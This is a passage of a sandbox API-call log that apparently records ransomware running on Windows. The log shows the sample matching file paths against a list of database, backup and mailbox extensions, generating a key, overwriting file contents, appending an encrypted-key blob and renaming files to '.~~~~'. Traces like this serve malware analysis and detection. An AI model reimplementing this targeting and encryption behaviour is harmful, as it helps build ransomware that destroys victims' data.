	[0082.128] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_ES.LEX", lpSrch=".sqb") returned 0x0
	[0082.128] lstrlenW (lpString=".ost") returned 4
	[0082.128] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_ES.LEX", lpSrch=".ost") returned 0x0
	[0082.128] lstrlenW (lpString=".txt") returned 4
	[0082.128] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_ES.LEX", lpSrch=".txt") returned 0x0
	[0082.128] lstrlenW (lpString=".mdt") returned 4
	[0082.128] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_ES.LEX", lpSrch=".mdt") returned 0x0
	[0082.128] lstrlenW (lpString=".BDB") returned 4
	[0082.129] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_ES.LEX", lpSrch=".BDB") returned 0x0
	[0082.129] lstrlenW (lpString=".eql") returned 4
	[0082.129] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_ES.LEX", lpSrch=".eql") returned 0x0
	[0082.129] lstrlenW (lpString=".DBF") returned 4
	[0082.129] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_ES.LEX", lpSrch=".DBF") returned 0x0
	[0082.129] lstrlenW (lpString=".EQL") returned 4
	[0082.129] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_ES.LEX", lpSrch=".EQL") returned 0x0
	[0082.129] lstrlenW (lpString=".FDB") returned 4
	[0082.129] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_ES.LEX", lpSrch=".FDB") returned 0x0
	[0082.129] lstrlenW (lpString=".EDB") returned 4
	[0082.129] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_ES.LEX", lpSrch=".EDB") returned 0x0
	[0082.129] lstrlenW (lpString=".DACPAC") returned 7
	[0082.129] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_ES.LEX", lpSrch=".DACPAC") returned 0x0
	[0082.129] lstrlenW (lpString=".VHD") returned 4
	[0082.129] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_ES.LEX", lpSrch=".VHD") returned 0x0
	[0082.129] lstrlenW (lpString=".DBV") returned 4
	[0082.129] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_ES.LEX", lpSrch=".DBV") returned 0x0
	[0082.129] lstrlenW (lpString=".dacpac") returned 7
	[0082.129] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_ES.LEX", lpSrch=".dacpac") returned 0x0
	[0082.129] lstrlenW (lpString=".sdf") returned 4
	[0082.129] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_ES.LEX", lpSrch=".sdf") returned 0x0
	[0082.129] lstrlenW (lpString=".accdb") returned 6
	[0082.129] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_ES.LEX", lpSrch=".accdb") returned 0x0
	[0082.129] lstrlenW (lpString=".DBX") returned 4
	[0082.129] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_ES.LEX", lpSrch=".DBX") returned 0x0
	[0082.129] lstrlenW (lpString=".MDT") returned 4
	[0082.130] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_ES.LEX", lpSrch=".MDT") returned 0x0
	[0082.130] lstrlenW (lpString=".SQB") returned 4
	[0082.130] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_ES.LEX", lpSrch=".SQB") returned 0x0
	[0082.130] lstrlenW (lpString=".vhd") returned 4
	[0082.130] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_ES.LEX", lpSrch=".vhd") returned 0x0
	[0082.130] lstrlenW (lpString=".bac") returned 4
	[0082.130] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_ES.LEX", lpSrch=".bac") returned 0x0
	[0082.130] lstrlenW (lpString=".mdf") returned 4
	[0082.130] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_ES.LEX", lpSrch=".mdf") returned 0x0
	[0082.130] lstrlenW (lpString=".BAK") returned 4
	[0082.130] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_ES.LEX", lpSrch=".BAK") returned 0x0
	[0082.130] lstrlenW (lpString=".BAC") returned 4
	[0082.130] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_ES.LEX", lpSrch=".BAC") returned 0x0
	[0082.130] lstrlenW (lpString=".dbs") returned 4
	[0082.130] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_ES.LEX", lpSrch=".dbs") returned 0x0
	[0082.130] lstrlenW (lpString=".vhdx") returned 5
	[0082.130] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_ES.LEX", lpSrch=".vhdx") returned 0x0
	[0082.130] lstrlenW (lpString=".NDF") returned 4
	[0082.130] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_ES.LEX", lpSrch=".NDF") returned 0x0
	[0082.130] lstrlenW (lpString=".dat") returned 4
	[0082.130] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_ES.LEX", lpSrch=".dat") returned 0x0
	[0082.130] lstrlenW (lpString=".DBS") returned 4
	[0082.130] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_ES.LEX", lpSrch=".DBS") returned 0x0
	[0082.130] lstrlenW (lpString=".CKP") returned 4
	[0082.130] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_ES.LEX", lpSrch=".CKP") returned 0x0
	[0082.130] lstrlenW (lpString=".edb") returned 4
	[0082.130] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_ES.LEX", lpSrch=".edb") returned 0x0
	[0082.131] lstrlenW (lpString=".PST") returned 4
	[0082.131] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_ES.LEX", lpSrch=".PST") returned 0x0
	[0082.131] lstrlenW (lpString=".dbf") returned 4
	[0082.131] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_ES.LEX", lpSrch=".dbf") returned 0x0
	[0082.131] lstrlenW (lpString=".SQL") returned 4
	[0082.131] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_ES.LEX", lpSrch=".SQL") returned 0x0
	[0082.131] lstrlenW (lpString=".pst") returned 4
	[0082.131] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_ES.LEX", lpSrch=".pst") returned 0x0
	[0082.131] lstrlenW (lpString=".dbv") returned 4
	[0082.131] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_ES.LEX", lpSrch=".dbv") returned 0x0
	[0082.131] lstrlenW (lpString=".SDF") returned 4
	[0082.131] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_ES.LEX", lpSrch=".SDF") returned 0x0
	[0082.131] lstrlenW (lpString=".dtxs") returned 5
	[0082.131] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_ES.LEX", lpSrch=".dtxs") returned 0x0
	[0082.131] lstrlenW (lpString=".db3") returned 4
	[0082.131] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_ES.LEX", lpSrch=".db3") returned 0x0
	[0082.131] lstrlenW (lpString=".OST") returned 4
	[0082.131] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_ES.LEX", lpSrch=".OST") returned 0x0
	[0082.131] lstrlenW (lpString=".dbx") returned 4
	[0082.131] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_ES.LEX", lpSrch=".dbx") returned 0x0
	[0082.131] lstrlenW (lpString=".DB3") returned 4
	[0082.131] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_ES.LEX", lpSrch=".DB3") returned 0x0
	[0082.131] lstrlenW (lpString=".DAT") returned 4
	[0082.131] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_ES.LEX", lpSrch=".DAT") returned 0x0
	[0082.131] lstrlenW (lpString=".VHDX") returned 5
	[0082.131] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_ES.LEX", lpSrch=".VHDX") returned 0x0
	[0082.131] lstrlenW (lpString=".ndf") returned 4
	[0082.132] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_ES.LEX", lpSrch=".ndf") returned 0x0
	[0082.132] lstrlenW (lpString=".DB") returned 3
	[0082.132] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_ES.LEX", lpSrch=".DB") returned 0x0
	[0082.132] lstrlenW (lpString=".sql") returned 4
	[0082.132] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_ES.LEX", lpSrch=".sql") returned 0x0
	[0082.132] lstrlenW (lpString=".MYD") returned 4
	[0082.132] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_ES.LEX", lpSrch=".MYD") returned 0x0
	[0082.132] lstrlenW (lpString=".DBT") returned 4
	[0082.132] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_ES.LEX", lpSrch=".DBT") returned 0x0
	[0082.132] lstrlenW (lpString=".ACCDB") returned 6
	[0082.132] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_ES.LEX", lpSrch=".ACCDB") returned 0x0
	[0082.132] lstrlenW (lpString=".fdb") returned 4
	[0082.132] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_ES.LEX", lpSrch=".fdb") returned 0x0
	[0082.132] lstrlenW (lpString=".bak") returned 4
	[0082.132] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_ES.LEX", lpSrch=".bak") returned 0x0
	[0082.132] lstrlenW (lpString=".myd") returned 4
	[0082.132] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_ES.LEX", lpSrch=".myd") returned 0x0
	[0082.132] lstrlenW (lpString=".DTXS") returned 5
	[0082.132] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_ES.LEX", lpSrch=".DTXS") returned 0x0
	[0082.132] lstrlenW (lpString=".ckp") returned 4
	[0082.132] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_ES.LEX", lpSrch=".ckp") returned 0x0
	[0082.132] lstrlenW (lpString=".dbt") returned 4
	[0082.132] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_ES.LEX", lpSrch=".dbt") returned 0x0
	[0082.132] lstrlenW (lpString=".db") returned 3
	[0082.132] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_ES.LEX", lpSrch=".db") returned 0x0
	[0082.132] lstrlenW (lpString=".TXT") returned 4
	[0082.133] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_ES.LEX", lpSrch=".TXT") returned 0x0
	[0082.133] lstrlenW (lpString=".MDF") returned 4
	[0082.133] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_ES.LEX", lpSrch=".MDF") returned 0x0
	[0082.133] lstrlenW (lpString=".bdb") returned 4
	[0082.133] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_ES.LEX", lpSrch=".bdb") returned 0x0
	[0082.133] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0082.133] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_ES.LEX", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0082.133] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x28045a8
	[0082.133] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0082.133] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x39fe28) returned 1
	[0082.134] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0082.134] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0082.134] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0082.134] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0082.134] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2802fd0
	[0082.134] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=20212464216) returned 1
	[0082.135] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0x9acc62f0, dwHighDateTime=0x1d60e1e)) 
	[0082.135] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623c0
	[0082.135] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0082.135] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0082.135] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x38cf88
	[0082.135] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0082.135] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x38cf88 | out: hHeap=0x300000) returned 1
	[0082.135] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0082.135] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0082.135] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3b56f8
	[0082.135] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0082.135] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fbf50
	[0082.135] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b56f8 | out: hHeap=0x300000) returned 1
	[0082.135] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0082.136] GetLastError () returned 0x0
	[0082.136] GetLastError () returned 0x0
	[0082.136] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0082.136] GetLastError () returned 0x0
	[0082.136] GetLastError () returned 0x0
	[0082.137] ReadFile (in: hFile=0x134, lpBuffer=0x2824fd8, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2824fd8*, lpNumberOfBytesRead=0x24dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0082.142] SetFilePointerEx (in: hFile=0x134, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0082.142] WriteFile (in: hFile=0x134, lpBuffer=0x2824fd8*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2824fd8*, lpNumberOfBytesWritten=0x24dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0082.144] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2824fd8 | out: hHeap=0x300000) returned 1
	[0082.144] SetFilePointerEx (in: hFile=0x134, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0082.144] WriteFile (in: hFile=0x134, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0082.146] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0082.146] WriteFile (in: hFile=0x134, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0082.146] CloseHandle (hObject=0x134) returned 1
	[0082.146] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3b56f8
	[0082.146] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_ES.LEX" (normalized: "c:\\program files\\common files\\microsoft shared\\proof\\mswds_es.lex"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_ES.LEX.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\proof\\mswds_es.lex.~~~~")) returned 1
	[0082.147] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b56f8 | out: hHeap=0x300000) returned 1
	[0082.147] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0082.147] GetLastError () returned 0x0
	[0082.147] RtlWakeConditionVariable () returned 0x365f70
	[0082.147] GetCurrentThreadId () returned 0x3a4
	[0082.147] GetCurrentThreadId () returned 0x3a4
	[0082.147] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fc118
	[0082.147] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a75f0 | out: hHeap=0x300000) returned 1
	[0082.147] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a36f0 | out: hHeap=0x300000) returned 1
	[0082.147] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a75f0
	[0082.147] lstrlenW (lpString=".scr") returned 4
	[0082.147] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FDATE.DLL", lpSrch=".scr") returned 0x0
	[0082.147] lstrlenW (lpString=".cmd") returned 4
	[0082.147] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FDATE.DLL", lpSrch=".cmd") returned 0x0
	[0082.147] lstrlenW (lpString=".dll") returned 4
	[0082.147] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FDATE.DLL", lpSrch=".dll") returned 0x0
	[0082.147] lstrlenW (lpString=".bat") returned 4
	[0082.147] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FDATE.DLL", lpSrch=".bat") returned 0x0
	[0082.147] lstrlenW (lpString=".cpl") returned 4
	[0082.147] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FDATE.DLL", lpSrch=".cpl") returned 0x0
	[0082.147] lstrlenW (lpString=".sys") returned 4
	[0082.147] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FDATE.DLL", lpSrch=".sys") returned 0x0
	[0082.147] lstrlenW (lpString=".msc") returned 4
	[0082.147] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FDATE.DLL", lpSrch=".msc") returned 0x0
	[0082.147] lstrlenW (lpString=".com") returned 4
	[0082.148] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FDATE.DLL", lpSrch=".com") returned 0x0
	[0082.148] lstrlenW (lpString=".lnk") returned 4
	[0082.148] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FDATE.DLL", lpSrch=".lnk") returned 0x0
	[0082.148] lstrlenW (lpString=".msp") returned 4
	[0082.148] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FDATE.DLL", lpSrch=".msp") returned 0x0
	[0082.148] lstrlenW (lpString=".pif") returned 4
	[0082.148] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FDATE.DLL", lpSrch=".pif") returned 0x0
	[0082.148] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0082.148] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FDATE.DLL", lpSrch="msp\r\n.pif") returned 0x0
	[0082.148] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FDATE.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\fdate.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120
	[0082.158] lstrlenW (lpString=".sqb") returned 4
	[0082.158] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FDATE.DLL", lpSrch=".sqb") returned 0x0
	[0082.158] lstrlenW (lpString=".ost") returned 4
	[0082.158] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FDATE.DLL", lpSrch=".ost") returned 0x0
	[0082.158] lstrlenW (lpString=".txt") returned 4
	[0082.158] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FDATE.DLL", lpSrch=".txt") returned 0x0
	[0082.158] lstrlenW (lpString=".mdt") returned 4
	[0082.158] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FDATE.DLL", lpSrch=".mdt") returned 0x0
	[0082.158] lstrlenW (lpString=".BDB") returned 4
	[0082.158] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FDATE.DLL", lpSrch=".BDB") returned 0x0
	[0082.158] lstrlenW (lpString=".eql") returned 4
	[0082.158] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FDATE.DLL", lpSrch=".eql") returned 0x0
	[0082.158] lstrlenW (lpString=".DBF") returned 4
	[0082.158] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FDATE.DLL", lpSrch=".DBF") returned 0x0
	[0082.158] lstrlenW (lpString=".EQL") returned 4
	[0082.159] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FDATE.DLL", lpSrch=".EQL") returned 0x0
	[0082.159] lstrlenW (lpString=".FDB") returned 4
	[0082.159] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FDATE.DLL", lpSrch=".FDB") returned 0x0
	[0082.159] lstrlenW (lpString=".EDB") returned 4
	[0082.159] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FDATE.DLL", lpSrch=".EDB") returned 0x0
	[0082.159] lstrlenW (lpString=".DACPAC") returned 7
	[0082.159] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FDATE.DLL", lpSrch=".DACPAC") returned 0x0
	[0082.159] lstrlenW (lpString=".VHD") returned 4
	[0082.159] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FDATE.DLL", lpSrch=".VHD") returned 0x0
	[0082.159] lstrlenW (lpString=".DBV") returned 4
	[0082.159] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FDATE.DLL", lpSrch=".DBV") returned 0x0
	[0082.159] lstrlenW (lpString=".dacpac") returned 7
	[0082.159] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FDATE.DLL", lpSrch=".dacpac") returned 0x0
	[0082.159] lstrlenW (lpString=".sdf") returned 4
	[0082.159] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FDATE.DLL", lpSrch=".sdf") returned 0x0
	[0082.159] lstrlenW (lpString=".accdb") returned 6
	[0082.159] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FDATE.DLL", lpSrch=".accdb") returned 0x0
	[0082.159] lstrlenW (lpString=".DBX") returned 4
	[0082.159] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FDATE.DLL", lpSrch=".DBX") returned 0x0
	[0082.159] lstrlenW (lpString=".MDT") returned 4
	[0082.159] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FDATE.DLL", lpSrch=".MDT") returned 0x0
	[0082.159] lstrlenW (lpString=".SQB") returned 4
	[0082.159] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FDATE.DLL", lpSrch=".SQB") returned 0x0
	[0082.159] lstrlenW (lpString=".vhd") returned 4
	[0082.159] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FDATE.DLL", lpSrch=".vhd") returned 0x0
	[0082.159] lstrlenW (lpString=".bac") returned 4
	[0082.159] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FDATE.DLL", lpSrch=".bac") returned 0x0
	[0082.160] lstrlenW (lpString=".mdf") returned 4
	[0082.160] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FDATE.DLL", lpSrch=".mdf") returned 0x0
	[0082.160] lstrlenW (lpString=".BAK") returned 4
